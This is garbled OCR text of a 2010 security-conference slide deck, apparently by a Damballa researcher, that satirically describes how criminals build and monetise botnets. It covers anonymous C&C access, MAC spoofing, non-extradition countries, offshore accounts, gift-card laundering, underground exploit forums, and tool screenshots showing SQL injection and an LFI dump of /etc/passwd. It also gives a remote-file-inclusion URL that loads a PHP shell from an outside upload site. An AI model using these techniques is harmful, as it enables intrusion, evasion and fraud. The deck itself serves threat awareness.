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A Gunter Ollmann
I VP of Research, Damballa Inc.
I Board of AdvisordOActivelnc.

A Brief Bio:

I Been in IT industry for two decade®uilt and run international
pentestteams, R&D groups and consulting practices around the
world.

I Formerly Chief Security Strategist at IBM, Director-Bb¥e for
ISS, Professional Services Director for NGS Software, Head of
Attack Services EMEA, etfc.

I Frequent writer, columnist and blogger with lots of
gKAUSLI LIS NA X
A http://blog.damballa.com& http://technicalinfodotnet.blogspot.com/
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DAMBALLA SouthparkDisclaimer

Take Back Command-and-Control

ALL CHARACTERS AND
EVENTS IN THIS SHOW--
EVEN THOSE BASED ON REAL
PEOPLE--ARE ENTIRELY FICTIONAL.
ALL CELEBRITY VOICES ARE
IMPERSONATED.....POORLY. THE
FOLLOWING PROGRAM CONTAINS
COARSE LANGUAGE AND DUE TO
ITS CONTENT IT SHOULD NOT BE
VIEWED BY ANYONE
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Understanding the
profession

Demystifying a
sophisticated threat

Examining monetization
models
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building abetter botnet
Being a better criminal
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DAMBALLA How much of a criminal?

Take Back Command -and-Control

ABAFTFSNBY O O2dzydNASax
I Botnets may or may not be illegal
I Building/distributing malware may not be illegal

A Building botnets for fun & profit
i52y Qi Yy SSKRordicgminalS KI NR
i Tools, guides, howi 2 Qa4 > OSY R?2 NCE >
iLGQa | aodzaAySaa *’
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DAMBALLA Connecting to the CnC (
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e

A Separate work from pleasure o)\

| Dedicated laptop(s) for building and
running the botnet business

A (Un)traceability
I Change MAC addresses reqgularly

I Different Web browsers and 7
turned off cookie caching. 1N L

I Use a (patched) base install machrn’Q\"'"’

A Encrypt all CnC traffic //
I Asymmetric keys = much preferred r/

<
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DAMBALLA Connecting to the CnC (2
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A Deniability is important-

I OpenWiFiis your friend

| Locations that don't have CCTV
A Don't connect directly- Ever!

I Anonymous proxy and TOR
networks are preferred

A Hiding in the masses
I Academic networks + libraries
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TR Botnet CnC Connection

DAMBALLA
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A FreeWiFiaccess points
I Physical location changes

[

s L
"o wififrees?”

A Change the MAC address Aople Stores

¢ SMAC 2.0 Professional Edition - KLC Consulting: www. kicconsulting.net g Atlanta Bread Company

File View Options Help
1] Spoofed | Netwark Adapter Active MAC

Barnes & Noble
0008 [ vves Yes Bluetooth Per il Area Network fram TOSHIBA. . 00-10-CE-EE-DE-FE
0010 Yes  ‘Yes Intel(R) PRO/Wireless 2315ABG Network Conne... 192.166.0107  D050-05-F5-60-23 Border Books
0016 Yes Mo Whdware Virual Ethernet Adapter for Widnetd 192.168.17.1 00-50-56-C0-00-08 .
Caribou Coffee

IP Address

Mac MakeUp ver. 1.83d (c) 2003-2006 H&:.C Works

Select an adapter from the list below

0005 on PCI= W14 Rhine II Fast Ethernet] bd:

Mac addres HOOterS
—
New address | ) =] _Geners Krystal Restaurants
- [v' Show Only Active Netwark Adapters
Update MAC Remove MAC

e I 4|-' MNew Spoofed MAC Address hd ] MCDonaIdS

| 50 _| T _‘ FE _| i _| =TS _| 91 ﬁ Restart Adapter IPCanfig O'ﬁ: D t
[ mac histnry& - [~ Extrai Random MAC List ICE epo
[ Filter virtual interfacesS I auto |DIGITAL EQUIPMENT CORFORATION [0010FE] ﬂ BEefresh Exit J Paner£ read Company

cwcle il Spoofed MAC Address MNetwark Connection oY

IP extrafeaturesﬁ —= [00-10-FE-61-DE-41 | [rocal Area Connection Staples
11.16.55;Mac MakeUp wer, 1.83d (c] 2003-200g Active MAC Address It (1 22|
11.16.55;Checking permissions |po-10-C6-EE-DE-FE :_J pluetantht,00040007 StarbUCkS
11.16.55;Permission check was ok Et
11.16.55;Locating and loading database Disclaimer: Use this program at your own risk. We are notrespansible for any damage that may occur to any system. 4 C .
11.16.56:Loaded 6396 OEM IDs This program is notto be used for any illegal or unethical purpose. Do not use this program if you do not agree with v
11.16.56;5canning interfaces

11.16.56;5kipping virtual interfaces

11.16.56;Found 11 network interfaces, 10 virtual
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DAMBALLA Retirement Plannlng?
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A Afghanistan A Chad A Madagascar A Somalia

A Algeria A China A Marshall Islands A Sudan

A Andorra A Comoros A Mali A Syria

A Angola A Cote d'lvoire A Maldives A Togo

A Armenia A Congo A Mauritania A Tunisia

A Bahrain A Dijibouti A Mongolia A Uganda

A Bangladesh A Equatorial Guinea A Morocco A United Arab

A Bosnia and A Ethiopia A Mozambique Emirates
Herzegovina A Gabon A Nepal A Vanuatu

A Bhutan A Guinea A Niger A Vietnam

A Botswana A Guinea Bissau A Oman A Yemen

A Brunei A Indonesia A Philippines A Zaire

A Burkina Faso A Iran A Qatar A Zimbabwe )

A Burundi A Ivory Coast A Russian FederationA o0t f dzda &a42YS v

A Cambodia A Jordan A Rwanda

A Cameroon A Kuwait A Samoa

A Cape Verde A Laos A Sao Tome e Princip

A Central African A Lebanon A Saudi Arabia
Republic A Libya A Senegal

aka. monextradition contries (with the UsA)
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DAMBALLA Foreign Bank Account
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A Create foreign banking accounts
I "In person" account creation = less evidence
I May need a physical address
ALY GKNBSaX
I Swiss numbered account
A Minimum balance to open the account (plus fe

I Cayman Island Account

I Panama Bearer Share Corporation account
A Bilateral agreements covering fraud

I Disclosure of owner details

I want to stay away from the fraud aspect
A Most accounts include

I Credit cards

I online banking

AN
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DAMBALLA Transaction Laundering
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Visa Gift Card - pick one up in person or online

In Person Online

W ¥ Thoughtful
= Give the gift of freedom
TV

Give people the freedom to buj
what they want: online, in person;
or by phone

. . L
Gift Card Benefits Buying a Gift Card Use Your Gift Card
VISA GIFY CanD VISB Glft Card QUiCk LinkS
o :"' fisa Gift cards are perfect for any occasion - smart, Get a Gift C.ard
thoughtful, and always well received Use Your Gift Card

Know Your Balance
FAQ

Give one today
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DAMBALLA The First Botnet

AdhTF OKS &aKStFé& 5L,
I Zeus SpyEyeButterfly, etc.

A Seeding torrents & newsgroups
I Anonymous submission
I Very difficult to trackback
I Doesn't rely upon hosting
I Natural propagation & infection

A Dynamic DNS for CnC
i Free and anonymous —
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DAMBALLA Ecosystem
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A Oneto-one relationships are dead
I Onebotnet per malware (fiction)  popi: ANIMALS

. " I ting i rtin
I Onebotnet per operator (fiction) e« Y \

excreting

A Federated ecosystem Toees  Unneon o
I Professional service provisioningleaés
I Cottage industry of plugs X
I Talented and specialist contracto

roots taking
up nutrients

leaves falling
plants dying

FOREST
FLOOR

roots taking r;utri::lnts roots taking
up water caching up water

into soil
\up/
SOIL
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DAMBALLA Botnet Ecosystem

Take Back Command-and-Control

Affiliates _ Resellers

Distribution, infection, etc.  — Laundering, traders, etc.

Professional Service Providers (PSS)
Malware, exploit packs, translation, web design, et(,‘.% r‘

Managed Service Providers (MSS)
DNS hosting, fluxing services, SEO, etc.

Delivery Providers$aa$

IFrameservices, email/phishing campaigns, et\:

Hosting ProvidersRaa$
Bullet proofhosterg ¢ FNASY Rt &¢ L{tQax Y

10/14/2010

Infrastructure Providerslgag
Hacked servers, server redundarmtnetvictims, etc.
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Ratings & Reputations

Pages (726): Q0 [ 2| 3|/ 2| 5|.. 726 || Next»

Hacking Tools and Programs

Thread / Author

E ® " [Release] 666 Auto-Whaler v2.0 | Get loads of accounts! (Pages: 1234 ... last )
sean0l3
E " NEW FACEBOOK HACK HURRY WILL NOT WORK SOON.. (Pages: 123)

TheTechNation

E () “ [DEV] xDoS v1 Revisionl [DEV]

ePixel

E L) Poll: ™ [ YouTube ] Comment 4 Comment - More Views

carloos

202 6,332 Yk kkok
2 42 -
4 20 I

Replies | Views | Rating

€ NewPost

Mark this forum read

Last Post [asc]

Taoday 01:17 PM
Last Post: sean013

Today 01:17 PM
Last Post: Virtual DUDE

Today 01:13 PM
Last Post: LeGiiT

Today 01:10 PM
Last Post: carl00s

= ~ FUD Auto Spreader [Get More Bots/Servers] Working! (Pages: 1234 ... last) e 3 b e e el e Today 01:09 PM
nBlair ) ) ‘ g 2 rl00s
i > *{{{{UPDATED TODAY}}}$[L] Public Runtime crypter V1 { VIIJVI"EE Posts: 1,552 -
E Part -3 (Pages: 1234 ... last) I am COwnage. Joined: Apr 2008  hace
ﬁrns UNDERGROUND SECURITY TEAM ‘*‘*‘*‘*‘*‘* Reputatiun:
— - . tact
8§ PREAK S ST EF o B
g - = !
= ¥ ® =
GO
Forum Index - Member List - Mew Posts - - Register
¥ DL4HACK - The Underground Security Team » Hacking & Security » Exploits - POCs - Research =
¥ Internet Explorer (6/7) Remote Code Execution -Remote User Add Exploit
LinkBack =¥  Thread Tools = Display Modes ~

& 03-20-2010, 07:55 AM

Administrator

SIS

L

Internet Explorer (6/7) Remote Code Execution -Remote User Add Exploit

Code:

Read This First - Before You Register — Or - Post Your Introduction.

Content wvisibkble to Active users only. For Actiwve Your User Read This -

#1 (permalink)
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DAMBALLA Access to new vulnerabilities
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platforms submit forum db: 1399

The ultimate archive of exploits and vulnerable software and a great resource for vulnerability researchers and security professionals.
Cur aim is to collect exploits from submit tals and waricus mailing lists and concentrate them in one, easy to navigate database.
This was written for educational purpose, Use it at your own risk, Author will be not responsible for any damage. // r007 3r Hame : Joom n_surveys Persistent

Joomla com_surveys Persistent Xss Vulnerability:

Joomla com_ijoomla_rss Persistent Xss Vulnerability
Joomla com_adagency Persistent Xss Vulnerability
Joomla Component com_arash SQL Injection Vulnerability
OpenlouwrnalSystem Stored Xss Vulnerability
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DAMBALLA SQL | Helper V.2.
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2 sqL Helper ¥ 2.7 Supports MYSQL , MSSQL , MSACCESS

Comment: Esc

F,_FF—__P-——_—\_“_“—‘——___ -
Target: Cj_]ttp:ﬂencycl.anthropoIogy.rufar‘(icle.php?id=]£,) v i— o+
— —-___‘—-—h—___—__.——fd__
QE,/ Load Structure Visible Cal:  Param Key No. Col: Method: Qptions Admin Finder
o - vl 0 fxal GET ¥ RS checker Email Checker
7«"elcfapacheé?apacheé.conf Cookie: ; Blind Dump
ARV N AN SV Dy H 3 v
Get Databaze Get Tables Get Columns 0 i = 0 * GE
Load File Jetcapache?/apache?. conf Cookie:
L 2 5 | l
Additional SOL where Condition :
Hozt Information Walue T able Mame # user-anthropo_encycl E@@
SEW.Er Apache . back Clipboard Export Close Current:| £ Counted: 5 Max Set: 100
Werzion 5.0 77 -cammunity-log comment
Powered by PHP/5.2.8 comp_boak, ugr_login usr_pass
Attack Type S0L Unian Injection compasition 212326207 257 a5 2743004 2044801423 2020 9624c590750064b071524234b70
C Hl i isitor@localh i 534b44a1 96 82071 ecodeh 776 72 202c09624c5907506064b07152d234b70
IS S0 AmOrepos SO OCan . 1qure 3875407444 04221303001 9c2 31 Bas 202ch9624c5907509640071524 234070
Current D atabaze anthropo_shcycl language 0f5b25cd5531 Sedelefie 3371 5b66dbde 202ch 36 2ac590750064b07152d234b70
Supportz Union =% operation
IInion Colurmns 10 pErEaN
perzon_old
Databaze Mame g
infermatio—echena work,
anthropo_encycl
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DAMBALLA LFI Intruder
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m LFIntruder #01 Product o Eml

Target Url:
hitp: / /vwww_ Sl c gi-bin/ area/pub. cqi?href<
LFI File Path: & Enable Proxy

C:xDocuments and Settings D =ktopsLF ntrudersIi bt 19.70.40.102:2020 1 Check IP

Execution output:
20/02/2010 3.36.32 . LFI Test Finizhed... http: /Ay, - 0i-bin/ area/pub. caithref=. /. 4. /. fprocdzelf/environ

LFI Result: HTHL Output:

- http:.-".-’www."u:gi-l:uin.-"area.-’pub.cgizhref;..-"...-"...-"...-"...-"etu:.-"passwd

Nt Y gy b SO Avahi:'var/run/avahi-dacmon:/bin false beagleindexx:107:109:-User for
indexingvar/cache/beagle:bin'bash binzx:1:1:bin:bin:bin'bash
daemonz:2: 2 Daemon:/sbin:bin'bash dhepd=:106:65534:DHCP serv
daemon:var/lib/dhcprbinfalse fipx4049F TP account:/srv/ftp:bin'be
games:12:100:Games account:var/games:bin'bash haldaemon=:104
haldaemon:var/run‘hal:binfalse lpzcd:7 Printing dasmon:var/spoollp
mail=:8:12Mailer daesmon:var/spool/clientmqueue:’binfalse messaget
D-Bus:var/tun/dbus:binfalse mysglzc60:108MvSQL database =
admin:var/lib/mysglbinfalse nobody=x:65534:65533 nobodyvar/lib/
ntpx:74:101:NTP daemon:var/lib/ntp:/binfalse
polkituser=:103:105PolicyKit:var/runPolicyKit /binfalse postfixzs1
Daemon:var/spool‘postfioc/binfalse rootz:0:0rootroot/bin'bash sshe
daemon-var/lib/sshd-binfalse suse-ncex:105:107 Novell Customer C
User:var/lib/YaST2/suse-nce-fakehome:bin/bash midd~-101:103:1:
muidd:var runmidd: binfalse wwwrunzoe3 028 WWW daemon
apache:var/lib/wwwiun:binfalse vizzini=:1000:100:guido vizzini-hom
manz:13:62Manual pages viewer:var/cache/man:'bin'bash newsx9:1 +

I »
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DAMBALLA AutoRooterSite
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]

rmel  Wersion Root  Exploit

= alfcdl ~ uselibZd4 [scurce |~mremap pte

raced [source |

= newlocal ~kmod~_uselib24 [source |
————= ptracefsaurce |~ptrace-lkmad ~brclk ~brk2
---—= ptrace [source |~ptrace-lkmod ~brik ~brkz
--=-= ptrace [source |~ptrace-kmaod ~brik ~brk2 ~kmod
-—--= ptrace [source |~ptrace-kmod ~brik ~brik>
- loginz=
~--——= ptrace [source |~ptrace-lkmod ~brk ~brikc2
-—-——= hatorihan=zo ~mremap pte
- mraemap pte v usalibZd [sowurcae [~ Linux kernal mremap
—---= o mremap pte
- mremap pte ~ Linusx Eernel mremap
————omremap pte ~ usaelib2<d [source

LTI 1

& R MoE O

Jd T

El BRI MK KA M MR R

il

————= 1 ~ usalibZ4 [source |

-=——= ptrace-kEmod ~ uselib2Z4 [source" T~newlocal ~kmodZ ~alflbl
----= pwmned

-—-== hoOlyshit [source |~ krad ~myptrace

=% hudo

B MNORE

~krad~hudo ~05 ~krad ~krad2 ~ong bak
rwberad ~krad2

=lrad ~kradZ

—=—-= hoOly=shit [source |~rO0Ot

—-—-—= hoolyshit [scource |~kradvlkradZ ~0S5~06 03

————= hoOhyshit[sourcae]~krad ~kradZ ~05 ~ uselibZ3 [scource |
-——= k-rad wk-rad2 ~krad2 ~krad ~_pened [scurce ]

-==——= binfmt a|lf ~=lfcd>2

-—==2= hoOlyshit [source

~—-—z= hoolyshit [ scurce
———=2= hoOly=shit [scource

————= hoOlyshit [socurce

I O o R - s - Y - N R S T A R - R R O

0y} |,r|

~prcEl ~prctl ~prct3 ~ prctd ccprcte ~raphtor
~prctl ~prct2 ~prct3 ~ prctd ~prcts ~raptor

H
=
e
e
e
e
=
=
e
P
)
e
=
=
=
P
=
e

B - - LSELC0 s, L)
|
L]
s

£ Ll NS0

|:h |.TI |,r|

—-—-== hoOly=shit [sourca
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DAMBALLA Remote File Inclusion Attack
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A Mostly Kiddiezwith GBI o TR
RFIScannerz ‘

A Effective for low
hanging fruit

A Remotely executed & [=
Wdzy | & A0 0 bt

i Lista de Li

an

I P H P I R‘ B OtS http:/fkuking.net/my/viewtopic.php?p=473779
http:f fwww, Forumishqgiptar.net/showthread. php?p=£6954
http:ffclub.cte-tv.rufviewtopic.php?p=804732

e http:ffwww. kosova,defforumfshowthread. php?p=386164
http:}/dafinazeqiri.comfindex.php?p=newsiid=4

I e e S C r http: fjwww . labfotogrametria.usach.clfforofviewtopic. php?p=96827&highlight=
http:jjforum.israelinfo.rujviewtopic.php?p=913413
http:jvboards.stratics.comjshowthread.php?p=1516190

http:jshanson-e.tkjforum/showthread.php?p=267310

http:}/byrodolfo.blogspot.com/feeds/posts/default?orderby=updated
I a a ase u I I l pe rS | http: fjwww.njoftime.com/showthread. php?p=35714
| http:jcurvaz.infojgenta-ismaili.php
| http: ffwww.uploadcity .comf?q=samanta+fazendo+boquete+pro+namorado

http: ffwww.uploadcity .com/?q=samanta+boqueteira+do+ulysses

Ll
http:fjwww.vagos.fm/showthread. php?p=588182
O e u S u a u I C http:jvkmonline.comshowthread.php?p=413714
http: fjwww.malsia. eufforumifviewtopic.php?p=1104
avalilable
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DAMBALLA RFI Technique
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A Find a free upload site 2 8 ““’
I Uploadphp site as .txt -

I Find vulnerable target site
ARFI Scanners make this easy

I Execute Uploadedhpas remote file
AKGGLIYKKS 66D NHESGEAGSPO2YKAYRSEDLIEKLKT

I Upload C&C control panel on target site

I Vulnerable because of no input sanitization

e.g. <php
include($ _GET[ O6paged] ) ;
7>
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http://www.targetsite.com/index.php?f=“http://freeuploadsite.com/phpshell.txt

A
DAMBALLA Once Found

Take Back Command-and-Control

A Hundreds of Web backdoors The backdoors have a

range of functionality,

T al diil’lEZ lj é NA € 28 \\NIIN ;i most of them will

iaz2al Ol SR 2 y‘ 0 have methods to bypass
PHP security functions,

A R57 steal information,
read/modify files, access
A C99 SQL databases, crack
A Locus7Shell Febitary commands and
I Enables Full control of website escalate privileges.

via browser

I Webshellcode nonexistent locally
A Anti-Forensics
A Visible via web log analysis
A Executable processes by WWW visible (unusual)
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DAMBALLA C99 Shell
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10/14/2010 Hacker Halted USA 20&@uildingBotnetsfor Fun & Profit¢ Gunter Ollmann



